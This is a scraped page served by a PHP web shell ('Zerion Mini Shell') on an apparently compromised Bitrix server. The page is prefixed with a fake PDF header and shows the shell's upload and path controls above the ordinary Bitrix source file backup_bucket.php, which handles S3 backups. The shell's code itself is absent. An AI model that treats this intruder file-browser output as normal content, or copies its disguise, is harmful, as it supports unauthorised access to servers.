%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/self/root/home/bitrix/www/bitrix/modules/bitrixcloud/classes/general/
Upload File :
Create Path :
Current File : //proc/self/root/home/bitrix/www/bitrix/modules/bitrixcloud/classes/general/backup_bucket.php

<?php
class CBitrixCloudBackupBucket extends CCloudStorageBucket
{
	private $file_name = "";
	private $check_word = "";
	/**
	 *
	 * @param string $bucket_name
	 * @param string $prefix
	 * @param string $access_key
	 * @param string $secret_key
	 * @param string $session_token
	 * @param string $check_word
	 * @param string $file_name
	 * @param string $location
	 */
	function __construct($bucket_name, $prefix, $access_key, $secret_key, $session_token, $check_word, $file_name, $location = "")
	{
		parent::__construct(0);
		$this->arBucket = array(
			"ACTIVE" => "Y",
			"SORT" => 0,
			"READ_ONLY" => "N",
			"SERVICE_ID" => "amazon_s3",
			"BUCKET" => $bucket_name,
			"LOCATION" => (string)$location,
			"CNAME" => "",
			"FILE_COUNT" => 0,
			"FILE_SIZE" => 0,
			"LAST_FILE_ID" => 0,
			"PREFIX" => $prefix,
			"SETTINGS" => array(
				"ACCESS_KEY" => $access_key,
				"SECRET_KEY" => $secret_key,
				"SESSION_TOKEN" => $session_token,
			),
			"FILE_RULES" => 'a:1:{i:0;a:3:{s:6:"MODULE";s:0:"";s:9:"EXTENSION";s:0:"";s:4:"SIZE";s:0:"";}}',
			"FILE_RULES_COMPILED" => array(
				array(
					"MODULE_MASK" => "",
					"EXTENTION_MASK" => "",
					"SIZE_ARRAY" => array(
					),
				),
			),
		);
		$this->file_name = $file_name;
		$this->check_word = $check_word;
	}
	/**
	 *
	 * @return string
	 *
	 */
	function getFileName()
	{
		return $this->GetFileSRC($this->file_name);
	}
	/**
	 *
	 * @return array[string]string
	 *
	 */
	function getHeaders()
	{
		$service = new CCloudStorageService_AmazonS3;
		$headers = $service->SignRequest(
			$this->arBucket["SETTINGS"],
			"GET",
			$this->arBucket["BUCKET"],
			"/".$this->arBucket["PREFIX"]."/".$this->file_name,
			'',
			array(
				"x-amz-security-token" => $this->arBucket["SETTINGS"]["SESSION_TOKEN"],
			)
		);
		$headers["x-amz-security-token"] = $this->arBucket["SETTINGS"]["SESSION_TOKEN"];
		return $headers;
	}

	function setPublic($isPublic)
	{
		$this->service->setPublic($isPublic);
	}

	function unsetCheckWordHeader()
	{
		$this->service->unsetHeader("x-amz-meta-check-word");
	}

	function setCheckWordHeader()
	{
		$this->service->setHeader("x-amz-meta-check-word" , $this->check_word);
	}
}

Zerion Mini Shell 1.0